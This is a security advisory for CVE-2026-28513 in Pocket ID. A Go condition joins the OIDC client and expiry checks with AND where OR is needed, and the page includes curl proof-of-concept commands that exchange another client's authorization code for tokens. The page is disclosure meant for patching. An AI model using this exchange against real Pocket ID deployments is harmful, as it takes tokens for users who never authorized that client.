CVE-2026-28513: Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange
Summary The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse. Details backend/internal/service/oidcservice.go:407 && should be .
Published Mar 9, 2026 · Updated Mar 10, 2026
Affected packages
github.com/pocket-id/pocket-id/backend
- Ecosystem
- Go
- Affected
- < 0.0.0-20260307173642-b59e35cb59ae
- Fixed in
- 0.0.0-20260307173642-b59e35cb59ae
- Check
go list -m github.com/pocket-id/pocket-id/backend
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.
Details
backend/internal/service/oidc_service.go:407
if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}&& should be ||. Current behavior:
| Condition | Expected | Actual | | Wrong client + valid code | Reject | **Accept** | | Correct client + expired code | Reject | **Accept** |
PoC
Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.
# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"
# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code" \
-d "code=auth-code" \
-d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
-d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
-d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client IDVerified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).
Impact
Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.
Credited to dorakemon.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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